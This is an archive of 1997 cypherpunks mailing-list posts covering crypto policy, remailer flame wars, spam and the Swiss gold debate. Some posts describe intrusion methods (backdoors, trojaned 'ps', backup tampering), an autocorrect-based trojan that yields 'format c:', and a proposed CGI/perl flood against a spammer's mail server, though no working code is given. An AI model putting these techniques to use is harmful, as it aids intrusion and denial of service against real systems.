Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A passerby caught Nasrudin prying open the window of his own bedroom from 
the outside in the depths of night. "What are you doing? Locked out?"
"Hush!" came the reply. "They say I walk in my sleep. I am trying to surprise
myself and find out."






From sunder at brainlink.com  Wed May  7 15:32:44 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 8 May 1997 06:32:44 +0800
Subject: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705072207.PAB22259@kachina.jetcafe.org>
Message-ID: 


On Wed, 7 May 1997, Dave Hayes wrote:

> This was truly a mirrored interchange. I thank you for the opportunity
> to witness my self in you. ;-)

I bet you say that too all the shamans, big boy. :)  Sorry, not 
interested.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From jya at pipeline.com  Wed May  7 15:49:11 1997
From: jya at pipeline.com (John Young)
Date: Thu, 8 May 1997 06:49:11 +0800
Subject: GAK Spreads, FRB Smirks
Message-ID: <1.5.4.32.19970507222635.0095f0f0@pop.pipeline.com>


A news report today that 22 new members have joined
the Key Recovery Alliance, now 61 total. A meeting
in Toronto on April 24-25 reviewed committee
reports on key recovery prospects for "facilitating
the wordlwide use of strong cryptography."

And, two Federal Reserve economists claim that
smart cards and E-cash have a ways to go to
compete with well-tested and trusted paper bucks.
No, they smirk, these views do not protect the FRB's
central bank hegemony.

Both reports at:

   http://jya.com/krafrb.txt






From nobody at squirrel.owl.de  Wed May  7 15:51:19 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Thu, 8 May 1997 06:51:19 +0800
Subject: No Subject
Message-ID: <19970507211644.11165.qmail@squirrel.owl.de>


Date: Wed, 7 May 1997
From: Graham-John Bullers 
To: lucifer Anonymous Remailer 
Cc: cypherpunks at toad.com
Subject: Re: PGP


I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more
> like Graham-John Bullers.
>
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From sunder at brainlink.com  Wed May  7 15:53:25 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 8 May 1997 06:53:25 +0800
Subject: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: 



---------- Forwarded message ----------
Date: Wed, 7 May 1997 14:17:55 -0400
From: Craig Nulan 
To: Bill Stout , ntsecurity at iss.net
Subject: Re: [NTSEC] 64-bit En/Decryption speed

          577 Mghz
          No hardware abstraction layer
          The native platform on which NT was developed

          No need to validate beyond this.  10 times or faster.

          The DEC marketing rhetoric re: Alphas, is fairly reliable,
          unlike Microsoft's representations re: NT security.

          Has anyone else on this list examined the apparent demise of
          TCSEC product evaluations?  Anyone else questioned why MS
          failed to keep NT in the RAMP process subsequent to getting
          version 3.5 C2 certified in a workstation configuration?

          Does it strike anyone else as odd that the U.K.'s ITSEC
          product evaluations are vendor sponsored, vendor scheduled,
          and conducted in private test environments?

          Does anyone believe that NT can ever be restructured
          into a general purpose operating system?  A secure, general
          purpose O/S?

          Two URL's you'll want to remember.

          csrc.nist.gov  - here you'll want to look at the the `94 and
          `95 annual reports (and meeting minutes) of the Computer
          Security and Privacy Advisory Board

          www.ecma.ch - where you can read first hand how security
          evaluation criteria are evolving

          Could it be that it's time to consider NT security from the
          perspective of the forest rather than from the perspective
          of endless little leaves on endless expanses of trees?






From dlv at bwalk.dm.com  Wed May  7 16:47:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 07:47:19 +0800
Subject: IBM's New Algo
In-Reply-To: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>
Message-ID: <0kic7D1w165w@bwalk.dm.com>


John Young  writes:

>    The New York Times, May 7, 1997, p. D5.
> 
>    I.B.M. Researchers Develop A New Encryption Formula
...
>    The system is based on a problem that has defied solution
>    by mathematicians for 150 years, I.B.M. said.

I had an interesting conversation a few weeks ago with a friend who has
a closed-form solution to a well-known problem that's been unsolved for
about that long.  He has no intention of publishing it, but he has already
made quite a bit of $$$ on it. :-)

I've known the guy for a number of years and it's not the first time he gets
a good result and makes money on it instead of yet another paper in a 
refereed journal.  In general, lots more is known to some people than is
published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
was done by the British crypto people but never made it to the open literatre.

>    Mr. Schneier said that the cryptographic formulas now in
>    use were already robust enough. The biggest challenge, he
>    said, is creating security systems in the real world that
>    are not vulnerable to hackers.
> 
>    "Cryptography is a lot more than math" he said.

Let me get this straight - Schneier claims that factoring is secure now and
will remain secure in the future?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at huge.cajones.com  Wed May  7 16:52:23 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 07:52:23 +0800
Subject: Igor's Diabolical Mind
Message-ID: <199705072327.QAA09304@fat.doobie.com>


Igor Chudov @ home wrote: 
> some of the best hacks that I heard was to install a trojan
> instead of, say, cat, that would randomly change one byte in
> a randomly chosen file.

Igor,
  I am currently monitoring a friend's system in order to analyze
the source and methodologies of various attacks on it and I spend my
spare time reading his email, databases, private diaries, etc.
  (I am blessed with breasts which allow me to set a man's car on
fire and know he will just smile, and say, "That's OK, I'll get
another one.")

  His comments regarding "Igor" imply that you have a diabolical
mind and a good nose for nasty business.
  I can tell from your comments above that he judged you fairly well.

  Most hackers tend to be one-time Charlie's who pop into a low
security system to mark their territory by pissing on a directory
tree, so to speak, or adding their own personal form of graffiti
and then returning home to pat themselves on the back for their 
great genius.
  In many cases the admin of a good system will have everything
back to normal before the hacker has finished congratulating
himself.

  The system intruder I am currently dealing with has a long
history of success in his nefarious activities and one of the
main reasons for this is his patience and his subtlety.
  Once he gains entry to a system he generally sets up an
obscure back door for himself, pulls a directory tree, finds 
out the backup schedule, and then exits.
  He then lays out a plan of attack which is geared toward
allowing him to roam the system at will without being observed.
Usually, he will start by replacing such things as the system 
'ps' command with one that keeps certain processes hidden from
the prying eyes of sysadmins. He also substitutes his own
programs for system files which are rarely installed and/or
used.

  He is one of a rare breed of pure hackers whose main focus is
system penetration and information access, with control issues 
being secondary. This requires a level of patience that allows
him to observe the system for months, if necessary, before
moving to secure his long-term ability to penetrate the system
and roam at will.
  Once an intruder has his handiwork on the previous few months
of system backups, then you might say that he has become a 
"tenured" member of your organization.

  I have had previous experience with the individual involved
in the compromise of my friend's system (and ISP) and I am well
aware of the fact that much of his power comes from the fact
that he tends not to interfere with the functioning of one's
system unless he is attacked. (In which case he generally fires
a shot over the sysadmin's bow, indicating that the choices are
"peaceful coexistence" or "explaining to management that their
system is 'toast' because you chose to cop an attitude.")
  The only way, to my knowledge, that anyone has ever forced his
exit from a system he has penetrated has been by ferreting out
enough of the substructure of his intrusion that he fears his
latest methodologies being discovered and exposed to scrutiny.
{In which case he quietly packs up and leaves. {In my case,
he sent me flowers, as well.})

  On rare occasions he will intervene to fix system problems
that are beyond the resident sysadmin, perhaps because the
problems are affecting his own activities.
  When macro capabilities were added to spreadsheet programs,
he had a trojan written for them before the shrink-wrap on
the new release hit the floor. (He recognized macros as a
close cousin to the Unix daemons, which he considers God's
gift to pure hackers.)
  He was lurking on my friend's system in Austin, at the 
time, and he dropped my friend a polite note that advised him
it would be unwise to mess with the files until the hacker
had debugged them sufficiently that they would not cause
inadvertant problems.

  His current work-in-progress is a Trojan which is frightening
in its scope if it turns out to operate in the manner that I
and others now suspect. It may represent a quantum leap in Trojan
Horse technology (kind of an Equestrian Trojan Horse).
  {Its existence was "discovered" by a cypherpunk, by the way.}

  While I am not at liberty to reveal the as yet sketchy details
of how the Trojan operates, I can give you a small glimpse into
the the mind of its creator by providing an example of another
Trojan that was previously discovered with his signature on it.

  The Trojan works through a word processor's spell checking and 
automatic correction system.
  Nonsensical character sequences are added to the spell checker,
in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
file is placed on the system which, when spell-corrected, will
then become "format c:" or whatever its creator desires.
  A variety of triggers were discovered for the Trojan, and they
encompassed a variety of approaches. (The triggers were indicative
of a benign series of probing experiments designed to lead to a
finished product versatile enough to bypass any attempt to guard
against the Trojan's execution.)

  A simple trigger would run a .bat file which loaded the file into
the word processor, auto-corrected the spelling, saved the file as 
a .exe file of the creator's choosing, then exited.
  More complicated triggers involved such things as (in Win 95)
giving the file a unique extension (such as .xyz), using the
"open with" option to point to a hidden copy of a word processor
executable which has no macro-virus protection, etc., and which
will run the macros in place in the file when it is opened.
  (A variation on this trigger takes advantage of the fact that
many systems keep outdated versions of word processing software
on the system in order to be able to work with older files {which
often turn to crap when loaded into the latest-greatest version,
despite manufacturer's claims of compatability}. Users and admins
generally don't stop to realize that the "protection" they install
is often applied only to the newest version of their software.)

  As you pointed out, Igor, the more subtle a program's operation
and effects, the longer it can work undiscovered and the greater
the range of the time/space continuim it can encompass.
  Virus/Trojan checkers generally guard only against system 
damage and/or loss of data. It is infinitely more difficult
to guard against a system intruder who has other goals in mind
and has the patience to remain unobtrusive.
  Even most security conscious system administrators don't take
much note of minor glitches as long as they appear to be benign
problems inherent in the implementation of the software.

  The Trojan that I and others are currently working with was
only perceived as a potential problem after the person who
discovered it had spent months cursing the software manufacturer
for not including an obviously needed capability in the product.
  It was a very minor but frustrating problem, leading the user
to make inquiries as to how to "work around" the product's lack
of providing this function. Upon discovery that the product was
supposed to provide the function, his research quickly indicated
that there was a "fly in the ointment."
  Most users probably would have just shrugged and lived with 
the problem, since it was relatively minor. Instead, he brought
the small anomalie he discovered to the attention of myself and
others and it has opened up a Pandora's box that appears to
have the potential for a new breed of Trojan Horses.

> basically, install lots of backdoors and then play with their minds.

  Actually, Igor, I'm beginning to wonder if perhaps you are the
hacker I've been trying to ferret out? I think I'll keep an eye
on you.
 
> some ppl would steal CC# of their customers and publish them, but I would
> not do it.

  The hacker I've been discussing has infiltrated a variety of
Pac Bell sites, and the like, over the years.
  A regional administrator, upon being informed of the presence
of an intruder on the system, immediately called in a team of
Bay Area security consultants to deal with the problem. By the
time they arrived the hacker had sent a small mountain of email
to various management personnel which contained precious company
secrets and had Pac Bell's competition listed as a cc: (in the
body of the message, as a warning).
  When the group from Berkeley arrived they consulted with the
admin about the potential seriousness of the veiled threat, did
a quick check of the system, realized who the hacker was that
they were dealing with, shrugged, and said, "He's on our system
too. We'd advise just leaving him alone."
  When the administrator questioned the wisdom of their suggestion
the consultants advised him that they would be more than happy to
proceed as long as the overuling of their opinion was put in 
writing. The admin agreed, whereupon he was presented with the
consultants' standard "reality check" authorization form, whose
letterhead reads:
AUTHORIZATION TO PROCEED CONTRARY TO 
   ADVISED COURSE OF PROCEDURE
"Last One Seen Fixing It Gets The Blame"

  The administrator decided in favor of job-security, and the 
security consultants were paid generously to provide a generic 
report for his superiors which indicated that the admin's prompt 
action resulted in the problem coming to a quick resolution.


  Personally, I've seen more than a few sysadmins who declare
war on a minor hacker instead of just fixing the problem so
that it won't occur again and moving on. (Much like some of the
hilarious posts in the cypherpunks archives in which a list
member responds to a Vulis post by saying, "Just ignore him
and he'll go away." and then proceed to take two or three
pot-shots at him.)


(.)(.)Monger






From hua at chromatic.com  Wed May  7 16:54:59 1997
From: hua at chromatic.com (Ernest Hua)
Date: Thu, 8 May 1997 07:54:59 +0800
Subject: crypto.swdev.co.nz ??
Message-ID: <199705072336.QAA14358@ohio.chromatic.com>


Anyone know why crypo.swdev.co.nz is no longer available via anonymous
ftp?

Ern






From markm at voicenet.com  Wed May  7 17:05:30 1997
From: markm at voicenet.com (Mark M.)
Date: Thu, 8 May 1997 08:05:30 +0800
Subject: SAFE
In-Reply-To: 
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 6 May 1997, Lee Tien wrote:

> [I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
> This is not, I think, merely the "willful furtherance" provision.  The "law
> enforcement" access provision may be ambiguous for keys that are not
> "private"; my understanding of IPSEC is that the key is in the possession
> of the machine and not the user.  I'm unclear whether users have 4th A.
> standing to challenge law enforcement access to such keys; there are lots
> of 4th A cases where a person has no privacy interest in information
> because it's been disclosed to another person, or is in another person's
> control.  Of course, I probably don't understand how IPSEC works, so
> corrections are welcomed.]

SKIP, one key exchange protocol for IPSEC, allows for both user and IP-based
keys.  Since these keys would be probably be stored on the same machine, it
raises some interesting 4th A issues.  The keys could either be seen as
under the control of the owner of the computer and can be disclosed at his
discretion, or similar to email where the data is considered private and
the owner of the hardware does not have the right to disclose this
information.

Regardless, one big win with IPSEC is its use of Diffie-Hellman key exchange
which makes recovery of past session keys impossible (I believe the term
for this is "forward secrecy").  A warrant won't do the feds much good.

>
> Lee
>
>
>


Mark
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From ellis at internetmedia.com  Thu May  8 08:09:08 1997
From: ellis at internetmedia.com (Ellis Laser)
Date: Thu, 8 May 1997 08:09:08 -0700 (PDT)
Subject: Vision Survey - Rid Yourself of Glasses/Contacts!!
Message-ID: 



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"Trust Your Eyes To Experience."

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our short survey and offers you FREE information about how to rid yourself
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Please type your answers into the body of your reply message.
Please answer all questions and note the type of information you 
would like to receive.

1. Do you currently wear glasses or contacts?  

2. How long have you worn corrective lenses?

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--------------------------------------------------------------------------





From vznuri at netcom.com  Wed May  7 17:34:59 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Thu, 8 May 1997 08:34:59 +0800
Subject: My editorial in Oregonian newspaper published today.
In-Reply-To: <199705061458.HAA08763@mail.pacifier.com>
Message-ID: <199705080020.RAA15368@netcom7.netcom.com>


JB's editorial is so mild-mannered I can barely resist comment.
this from the JB we all know and love? this is so bland as to
be almost PC, and frankly I agreed with every statement in
it, virtually. how did he manage to avoid the label "assassination
politics"? in fact how does he avoid the label "assassination"
entirely? 

the whole system was based on killing people. what's
this about mere "protection" or "security"? JB, have you changed
your ideas? a common pot of money for a security force is not
a radical idea. a betting pool on deaths *is* not only radical,
but quite morally vacuous and depraved.

I think the main flimflammery in the essay is the concept of
"criminal". JB always advocated in the past that merely being
a bureacrat was virtually criminal, and that people would donate
money toward their demise. 

JB, you are going to get nailed for your obvious duplicity.
you should be ashamed of yourself. you are not only a advocate
of death, but someone who does so as weasely as any politician
hides his true views.  you are not being honest with your own 
ideas. you are just as much a hypocrite as the bureacrats you despise.

note to everyone: jim bell's editorial has virtually no relation
to his past essays. I propose that someone send that newspaper
his AP article.






From lzirko at aye.net  Wed May  7 17:42:03 1997
From: lzirko at aye.net (Lou Zirko)
Date: Thu, 8 May 1997 08:42:03 +0800
Subject: 
In-Reply-To: <19970507211644.11165.qmail@squirrel.owl.de>
Message-ID: <3.0.1.32.19970507201902.0094d210@aye.net>


-----BEGIN PGP SIGNED MESSAGE-----

Gee, is this still going on?  I just re-subscrived to this list after a few
months of silence and this is the first message that I get!

It's amazing how things stay the same, regardless of the advances.

At 09:16 PM 5/7/97 -0000, you wrote:
>Date: Wed, 7 May 1997
>From: Graham-John Bullers 
>To: lucifer Anonymous Remailer 
>Cc: cypherpunks at toad.com
>Subject: Re: PGP
>
>
>I think Vulis needs each of us to send ten copies of this back to
>him.
>
>On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:
>
>> Tim C[retin] Mayflower styles his facial hair to look more
>> like Graham-John Bullers.
>>
>>       ,,,
>>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>>       (_)
>>
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>Graham-John Bullers                      Modulator of alt.2600.modulated
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>         http://www.freenet.edmonton.ab.ca/~real/index.html
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
>
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From dlv at bwalk.dm.com  Wed May  7 17:50:21 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 08:50:21 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <9mXc7D3w165w@bwalk.dm.com>


Rick Osborne  writes:

> >PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> >"anti-spam" hackers. [...] Currently thousands of businesses with web pages
> >and mail box accounts are being denied service.
> 
> Hmmm... the whole reason they are trying to stop the arp-spam is because
> whoever is doing it is trying not to be found, right?  Well, what if
> someone (or a group of someones) were to set up a web page with a script
> behind it.  The page would simply ask "How many arps would you like to send
> CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
> and the CGI does its thing.  Using this system, especially if it is not
> just coming from one page but from anyone who sets up the CGI on their
> system, CyberPromo really can't do anything about it, can they?
> providing the interface.
> 
> A perl script to connect directly to their SMTPd (no point in clogging
> yours by using sendmail) would be trivial.  If set up on a sufficient
> number of sites/pages (the form elements and script might take up a totalk
> of 2k, whoopee), this could be a sort of passive agressive way of getting bac
> _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
> It's amazing how much 'mature wisdom' resembles being too tired.
> - Lazarus Long
> 

First of all, Wallace is a great guy and anyone who interferes with his
freedom of speech is scum on par with C2Net.

Second, if you run a cgi script in this manner, the pings are still coming
from the web server.  You want to ping from the client that the browser's on.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ichudov at algebra.com  Wed May  7 17:57:53 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 08:57:53 +0800
Subject: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: <199705080036.TAA00617@manifold.algebra.com>


Huge Cajones Remailer wrote:
> 
> Igor Chudov @ home wrote: 
> > some of the best hacks that I heard was to install a trojan
> > instead of, say, cat, that would randomly change one byte in
> > a randomly chosen file.
> 
>   I am currently monitoring a friend's system in order to analyze
> the source and methodologies of various attacks on it and I spend my
> spare time reading his email, databases, private diaries, etc.

These are not exactly private diaries, Prof. TruthMonger.

These are private diaries _intended for public consumption_, so that 
susceptible and romantic wanderers in cyberspace like yourself would
be deceived by their seemingly secret (and presumably sincere) content.

But they are still rather useful, if you know what you are looking for.

>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

How about the pizda...

>   His comments regarding "Igor" imply that you have a diabolical
> mind and a good nose for nasty business.
>   I can tell from your comments above that he judged you fairly well.

See, Prof. TruthMonger, the fact that I like to publically contemplate
about nasty business does not mean that everything that drives "normal"
people insane (a frequent occasion in certain newsgroups) is done by me.

Far from it.

Anyway, did your friend give you any specifics?

>   Most hackers tend to be one-time Charlie's who pop into a low
> security system to mark their territory by pissing on a directory
> tree, so to speak, or adding their own personal form of graffiti
> and then returning home to pat themselves on the back for their 
> great genius.

But this is what they are looking for.

>   The system intruder I am currently dealing with has a long
> history of success in his nefarious activities and one of the
> main reasons for this is his patience and his subtlety.

You hit the exact point on this one, TM. Patience is the asset
that hackers, moderators, and many others need the most.

>   Once he gains entry to a system he generally sets up an
> obscure back door for himself, pulls a directory tree, finds 
> out the backup schedule, and then exits.

See, a prudent sysadmin/user should do several things: 

1. Keep the oldest backup at least several months old
2. Use encrypted filesystems that are mounted only when needed.
3. Disable all internet services.
4. Treat email as if it was certainly being read by your friends.

That does not make the computer secure, by any means (a bug in elm
or tin that causes them to coredump can be exploited without using any
internet services), but at least makes the threat of intrusion somewhat
less dire.

>   He then lays out a plan of attack which is geared toward
> allowing him to roam the system at will without being observed.
> Usually, he will start by replacing such things as the system 
> 'ps' command with one that keeps certain processes hidden from
> the prying eyes of sysadmins. He also substitutes his own
> programs for system files which are rarely installed and/or
> used.

See, time is money. The stuff above requires a lot of it, so I 
wonder if your friend has a life.

>   Once an intruder has his handiwork on the previous few months
> of system backups, then you might say that he has become a 
> "tenured" member of your organization.

You do not want to reinstall the system from backups...

>   I have had previous experience with the individual involved
> in the compromise of my friend's system (and ISP) and I am well
> aware of the fact that much of his power comes from the fact
> that he tends not to interfere with the functioning of one's
> system unless he is attacked.

>   His current work-in-progress is a Trojan which is frightening
> in its scope if it turns out to operate in the manner that I
> and others now suspect. It may represent a quantum leap in Trojan
> Horse technology (kind of an Equestrian Trojan Horse).
>   {Its existence was "discovered" by a cypherpunk, by the way.}

Interesting.

>   While I am not at liberty to reveal the as yet sketchy details
> of how the Trojan operates, I can give you a small glimpse into
> the the mind of its creator by providing an example of another
> Trojan that was previously discovered with his signature on it.
> 
>   The Trojan works through a word processor's spell checking and 
> automatic correction system.
>   Nonsensical character sequences are added to the spell checker,
> in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
> file is placed on the system which, when spell-corrected, will
> then become "format c:" or whatever its creator desires.
>   A variety of triggers were discovered for the Trojan, and they
> encompassed a variety of approaches. (The triggers were indicative
> of a benign series of probing experiments designed to lead to a
> finished product versatile enough to bypass any attempt to guard
> against the Trojan's execution.)

>   A simple trigger would run a .bat file which loaded the file into
> the word processor, auto-corrected the spelling, saved the file as 
> a .exe file of the creator's choosing, then exited.
>   More complicated triggers involved such things as (in Win 95)
> giving the file a unique extension (such as .xyz), using the
> "open with" option to point to a hidden copy of a word processor
> executable which has no macro-virus protection, etc., and which
> will run the macros in place in the file when it is opened.

Windoze is never secure. The only advantage of using Windoze is that the
hackers think that all windoze users are very stupid, have nothing
useful, and hacking them is like breaking into outhouses -- not the
wisest way to spend time.

>   As you pointed out, Igor, the more subtle a program's operation
> and effects, the longer it can work undiscovered and the greater
> the range of the time/space continuim it can encompass.

> > basically, install lots of backdoors and then play with their minds.
> 
>   Actually, Igor, I'm beginning to wonder if perhaps you are the
> hacker I've been trying to ferret out? I think I'll keep an eye
> on you.

Don't remember sending you any flowers...

I am not a hacker at all, Prof. TruthMonger. (although I believe that 
outsider hacking ought to be legalized) I was merely discussing 
issues.

> > some ppl would steal CC# of their customers and publish them, but I would
> > not do it.
> 
>   The hacker I've been discussing has infiltrated a variety of
> Pac Bell sites, and the like, over the years.
>   A regional administrator, upon being informed of the presence
> of an intruder on the system, immediately called in a team of
> Bay Area security consultants to deal with the problem. By the
> time they arrived the hacker had sent a small mountain of email
> to various management personnel which contained precious company
> secrets and had Pac Bell's competition listed as a cc: (in the
> body of the message, as a warning).
>   When the group from Berkeley arrived they consulted with the
> admin about the potential seriousness of the veiled threat, did
> a quick check of the system, realized who the hacker was that
> they were dealing with, shrugged, and said, "He's on our system
> too. We'd advise just leaving him alone."
>   When the administrator questioned the wisdom of their suggestion
> the consultants advised him that they would be more than happy to
> proceed as long as the overuling of their opinion was put in 
> writing. The admin agreed, whereupon he was presented with the
> consultants' standard "reality check" authorization form, whose
> letterhead reads:
> AUTHORIZATION TO PROCEED CONTRARY TO 
>    ADVISED COURSE OF PROCEDURE
> "Last One Seen Fixing It Gets The Blame"
> 
>   The administrator decided in favor of job-security, and the 
> security consultants were paid generously to provide a generic 
> report for his superiors which indicated that the admin's prompt 
> action resulted in the problem coming to a quick resolution.

I think thet these ppl from Berkeley were the actual hackers... So they
bullshitted the sysadmin into submission in order to evade responsibility.

>   Personally, I've seen more than a few sysadmins who declare
> war on a minor hacker instead of just fixing the problem so
> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yeah, an interesting observation.

	- Igor.






From ichudov at algebra.com  Wed May  7 18:05:37 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:05:37 +0800
Subject: IBM's New Algo
In-Reply-To: <0kic7D1w165w@bwalk.dm.com>
Message-ID: <199705080041.TAA00687@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> John Young  writes:
> >    The New York Times, May 7, 1997, p. D5.
> >    I.B.M. Researchers Develop A New Encryption Formula
> >    The system is based on a problem that has defied solution
> >    by mathematicians for 150 years, I.B.M. said.
> 
> I had an interesting conversation a few weeks ago with a friend who has
> a closed-form solution to a well-known problem that's been unsolved for
> about that long.  He has no intention of publishing it, but he has already
> made quite a bit of $$$ on it. :-)
> 
> I've known the guy for a number of years and it's not the first time he gets
> a good result and makes money on it instead of yet another paper in a 
> refereed journal.  In general, lots more is known to some people than is
> published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> was done by the British crypto people but never made it to the open literatre.
> 
> >    Mr. Schneier said that the cryptographic formulas now in
> >    use were already robust enough. The biggest challenge, he
> >    said, is creating security systems in the real world that
> >    are not vulnerable to hackers.
> > 
> >    "Cryptography is a lot more than math" he said.
> 
> Let me get this straight - Schneier claims that factoring is secure now and
> will remain secure in the future?

Let me get this straight -- did your friend discover a closed form
solution to the factoring problem?

	- Igor.






From ichudov at algebra.com  Wed May  7 18:14:11 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:14:11 +0800
Subject: Custom programming, Web site design & development, and more.
In-Reply-To: 
Message-ID: <199705080051.TAA00842@manifold.algebra.com>


does he still sell zeros?

igor

Ray Arachelian wrote:
> 
> So, now that your snake oil products have been proven as full of holes as 
> swiss cheese, you're back to spam us with offers of your "services?"  Go 
> away!
> 
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> 
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> > inexpensive, software development and marketing solutions.
> > 
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> > 
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> > o Custom Database Application Development Service
> > o Help File / System Development Service
> > o Installation Program Development Service
> > o Shareware Distribution & Marketing Service
> > o Trial Usage Tracking System Development Service
> > o Web Site Design & Development Service
> > o Press Release Distribution Service
> > 
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> > 
> > Free cost and time estimates are given.
> > 
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> > 
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> > o VSA2048 QuickCrypt (Encryption)
> > 
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> > 
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> > 
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> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
> ..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
> <--*-->| ------------------ |                                        |\/|\/
> ../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> .+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 



	- Igor.






From ichudov at algebra.com  Wed May  7 18:30:06 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 09:30:06 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: 
Message-ID: <199705080050.TAA00821@manifold.algebra.com>


Tim May wrote:
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

... snip ...

> OK, so it's clear to all right-thinking persons what should be done:
> Switzerland should return the money to the heirs of those killed by the
> Nazis.
> 
> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

According to americal common law, as I understand it, no one can get
a valid title to the property from someone who did not have such title.

E.g., if you steal Vulis's car and then sell it to me, I will not have
the title to the car and will have to return it back to Vulis (and may
be able to try to recover my loss from you). The same will be true if
you lend the stolen car to me -- he can get it back if he proves that it
is his.

I find that reasoning to be quite good.

Lending stolen money (or stolen golden teeth) to banks is no different
than lending stolen cars.

American law does not have to apply to Switzerland, but I find that 
particular part of it to be just. The issue, of course, is coming up
with the proof.

I will appreciate if someone could correct me.

	- Igor.






From whgiii at amaranth.com  Wed May  7 19:58:36 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 8 May 1997 10:58:36 +0800
Subject: 
In-Reply-To: <3.0.1.32.19970507201902.0094d210@aye.net>
Message-ID: <199705080239.VAA09085@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.1.32.19970507201902.0094d210 at aye.net>, on 05/07/97 at 06:19 PM,
   Lou Zirko  said:


>Gee, is this still going on?  I just re-subscrived to this list after a
>few months of silence and this is the first message that I get!

>It's amazing how things stay the same, regardless of the advances.

Yep, about the only thing that has changed is that my twit/spam filter has
grown alot larger.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
